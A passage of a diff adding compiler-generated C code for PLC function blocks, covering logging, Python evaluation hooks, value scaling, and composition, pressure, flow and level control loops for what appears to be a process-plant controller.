!(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + 